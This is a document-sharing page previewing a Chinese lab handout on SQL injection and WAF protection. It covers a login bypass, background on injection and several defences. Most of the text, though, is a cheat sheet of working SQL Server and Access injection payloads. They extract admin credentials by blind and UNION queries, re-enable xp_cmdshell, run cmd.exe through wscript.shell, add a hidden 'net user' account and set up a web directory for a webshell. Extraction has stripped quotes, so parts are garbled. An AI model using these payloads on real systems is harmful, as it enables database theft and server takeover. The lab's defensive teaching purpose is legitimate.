ImageVerifierCode 换一换
格式:DOCX , 页数:25 ,大小:1.01MB ,
资源ID:22716734      下载积分:3 金币
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,免费下载
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.bdocx.com/down/22716734.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(06网站数据库入侵防护实训Word下载.docx)为本站会员(b****8)主动上传,冰豆网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知冰豆网(发送邮件至service@bdocx.com或直接QQ联系客服),我们立即给予删除!

06网站数据库入侵防护实训Word下载.docx

1、发现报错使用SQL注入语句进行注入登录,用户名输入or 1=1 or 密码任意点击登录,发现登录成功通过以上步骤,我们已通过网站的数据库漏洞成功登录网站的后台管理第五步: 在WAF上启用SQL注入防护功能上一实训中我们已经讲述了怎么使用web防护功能,这里我们不再赘述,我们使用默认的攻击阻止策略集,进入站点-站点管理-修改要保护的web网站-点击确定第六步:再次使用SQL注入语句对网站数据库进行攻击,首先使用最常用的用户名admin密码admin进行正常登录点击登录,发现攻击被阻断,并出现请不要进行web攻击的提示通过以上步骤,说明WAF已经成功阻断了本次对网站数据库的攻击七、 注意事项和排错

2、1、 需要将保护网站添加到WAF保护中,才能够保护生效。2、 攻击不能被阻止时,首先清空浏览器缓存,然后检查防护规则是否被成功应用。八、 配置序列无九、 共同思考1、 网站数据库漏洞对网站的危害?2、 通过啊D注入工具能否进一步注入?一十、 课后练习1、 尝试其他SQL注入语句,进行SQL注入攻击?2、 更改相应的防护规则,比如SQL注入时间,只防护上午8:00-10:00的SQL注入攻击?一十一、 知识背景SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,

3、或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。什么时候最易受到sql注入攻击当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。sql注入可能导致攻击者使用应用程序登陆在数据库中执行命令。相关的SQL注入可以通过测试工具pangolin进行。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时,没有

4、对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是sql注入就发生了。 如何防止SQL注入归纳一下,主要有以下几点:1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和 双-进行转换等。2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。5

5、.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装 6.sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。注入大致方法:方法1先猜表名 And (Select count(*) from 表名)0 猜列名 And (Select count(列名) from 表名)3 这样是不行的 现在很多人都是喜欢查询里面的内容,一旦iis没有关闭错误提示的,那么就可以利用报错方法轻松获得库里面的内容,获得数据库连接用户名:;and user0 重点在and user0,我们知道,user是

6、SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar转换int异常,XXXX不能转换成int ,报错的原理就是利用SQLserver内置的系统表进行转换查询,转换过程会出错,然后就会显示出在网页上,另外还有类似的and 1=(selet top 1 user from admin),这种语句也是可以爆出来的。and db_name()0 则是暴数据库名。 一旦关闭了IIS报错,那么还可以用u

7、nion(联合查询)来查内容,主要语句就是 Order by 10 And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin 上面的order by 10主要就是查字段数目,admin就是表名,可以自己猜,user,passwd是列名 ,反正就是返回正确即对,返回异常即错,另外还有十分常用的ascll码拆半法 先要知道指定列名,例如user里的内容的长度 and (select len(user) from admin)=2

8、就是查询长度为不为2位,返回错误的增加或减少数字,一般这个数字不会太大,太大的就要放弃了,猜也多余 后面的逻辑符号可以根据不同要求更改的, 大于 小于 =就是等于咯,更新语句的话,=也可以表示传递符号 100,n就是猜解的表名的第几位,最后的长度数字就是刚才猜解出来的列名长度了,And (Select top 1 asc(mid(user,1,1) from admin)100 就是猜解user里内容的第一位的ASCLL字符是不是大于100 正确的话,那么表示USER第一个字符的ASCLL码大于100,那么就猜120,返回错误就是介于100120之间,然后再一步一步的缩少,最终得到正确字符XX

9、X,然后用ASCLL转换器吧这个转换成普通字符就可以了 然后就是第二位 And (Select top 1 asc(mid(user,2,1) from admin)100 一直猜下去,加在url后面,列名表名还是先猜解,返回正确的代表帐号的ascll码大于100,那么就再向前猜,指导报错,把猜出来的ascll码拿去ascll转换器转换就可以了,中文是负数,加上asb取绝对值And (Select top 1 asb(asc(mid(user,n,1) from admin)15320 得到之后就记得在数字前加-号,不然ASCLL转换器转换不来的,中文在ASCLL码里是-23423这样的,所以

10、猜起来挺麻烦 。这个猜解速度比较慢,但是效果最好,最具有广泛性 方法2后台身份验证绕过漏洞,验证绕过漏洞就是or=后台绕过漏洞,利用的就是AND和OR的运算规则,从而造成后台脚本逻辑性错误 例如管理员的账号密码都是admin,那么再比如后台的数据库查询语句是 user=request(user) passwd=request(passwdsql=select admin from adminbate where user=&user& and passwd=passwd&那么我使用or aa来做用户名密码的话,那么查询就变成了 select admin from adminbate where

11、 user=这样的话,根据运算规则,这里一共有4个查询语句,那么查询结果就是 假or真and假or真,先算and 再算or,最终结果为真,这样就可以进到后台了 这种漏洞存在必须要有2个条件,第一个:在后台验证代码上,账号密码的查询是要同一条查询语句,也就是类似 sql=select * from admin where username=username&passwd=如果一旦账号密码是分开查询的,先查帐号,再查密码,这样的话就没有办法了。第二就是要看密码加不加密,一旦被MD5加密或者其他加密方式加密的,那就要看第一种条件有没有可以,没有达到第一种条件的话,那就没有戏了 方法3防御方法 对于怎

12、么防御SQL注入呢,这个网上很多,我这里讲几个 如果自己编写防注代码,一般是先定义一个函数,再在里面写入要过滤的关键词,如select ; “”;form;等,这些关键词都是查询语句最常用的词语,一旦过滤了,那么用户自己构造提交的数据就不会完整地参与数据库的操作。当然如果你的网站提交的数据全部都是数字的,可以使用小竹提供的方法 Function SafeRequest(ParaName,ParaType) - 传入参数 - ParaName:参数名称-字符型 ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符) Dim ParaValue ParaValue=Req

13、uest(ParaName) If ParaType=1 then If not isNumeric(ParaValue) then Response.write 参数 & ParaName & 必须为数字型!Response.end End if Else ParaValue=replace(ParaValue,SafeRequest=ParaValue End function 然后就用SafeRequest()来过滤参数 ,检查参数是否为数字,不是数字的就不能通过。1.判断有无注入点 ; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user

14、 pass password 等. and 0(select count(*) from *) (select count(*) from admin) -判断是否存在admin这张表 3.猜帐号数目 如果遇到0 返回正确页面 1返回错误页面说明帐号数目就是1个 (select count(*) from admin) and 10)- and 1=(select count(*) from admin where len(用户字段名称name)0) and 1=(select count(*) from admin where len(密码字段名称password)5.猜解各个字段的长度 猜

15、解长度就是把0变换 直到返回正确页面为止 and 1=(select count(*) from admin where len(name)6) 错误 5) 正确 长度是6 and 1=(select count(*) from admin where len(name)=6) 正确 and 1=(select count(*) from admin where len(password)11) 正确 12) 错误 长度是12 and 1=(select count(*) from admin where len(password)=12) 正确 6.猜解字符 and 1=(select co

16、unt(*) from admin where left(name,1)=a) -猜解用户帐号的第一位 and 1=(select count(*) from admin where left(name,2)=ab)-猜解用户帐号的第二位 就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1)=51) - 这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符. group by users.

17、 id having 1=1- group by users. id, users.username, users.password, users.privs having 1=1- insert into users values( 666, attacker, foobar, 0xffff )- UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable- UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.CO

18、LUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN (login_id)- (login_id,login_name)- UNION SELECT TOP 1 login_name FROM logintable- UNION SELECT TOP 1 password FROM logintable where login_name=Rahul- 看服务器打的补丁=出错了打了SP4补丁 and 1=(select VERSION)- 看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。and 1=(SELE

19、CT IS_SRVROLEMEMBER(sysadmin)- 判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) and sa=(SELECT System_user)- and user_name()=dbo- (select user_name()- 看xp_cmdshell是否删除 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)- xp_cmdshell被删除,恢复,支持绝对路径的恢复 EXEC master.dbo.sp_addext

20、endedproc xp_cmdshell,xplog70.dll- EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:inetpubwwwrootxplog70.dll- 反向PING自己实验 use master;declare s int;exec sp_oacreate wscript.shell,s out;exec sp_oamethod s,run,NULL,cmd.exe /c ping 192.168.0.1- 加帐号 DECLARE shell INT EXEC SP_OACREATE wscript.shell,shell

21、OUTPUT EXEC SP_OAMETHOD shell,run,null, C:WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add- 创建一个虚拟目录E盘:declare o int exec sp_oacreate wscript.shell, o out exec sp_oamethod o, run, NULL, cscript.exe c:inetpubwwwrootmkwebdir.vbs -w 默认Web站点 -v ee:访问属性:(配合写入一个webshell) declare o int exec sp_oacr

22、eate wscript.shell, o out exec sp_oamethod o, run, NULL, cscript.exe c:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse 爆库 特殊技巧::%5c= 或者把/和 修改%5提交 (select top 1 paths from newtable)- 得到库名(从1到5都是系统的id,6以上才可以判断) and 1=(select name from master.dbo.sysdatabases where dbid=7)- (select count(*) from m

23、aster.dbo.sysdatabases where name1 and dbid=6) 依次提交 dbid = 7,8,9. 得到更多的数据库名 (select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin (select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin) 来得到其他的表。(select count(*) from bbs.dbo.sysobjects where xtype=U and na

24、me=admin and uid(str(id) 暴到UID的数值假设为18779569 uid=id (select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id (select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in (id,.) 来暴出其他的字段 (select user_id from BBS.dbo.admin where username1) 可以得到用户名 依次可以得到

25、密码。假设存在user_id username ,password 等字段 (select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 (select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address) (select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid(str(id) 判断id值 (select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用) 得到WEB路径 create table dbo.swap (swappasschar(255);and

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1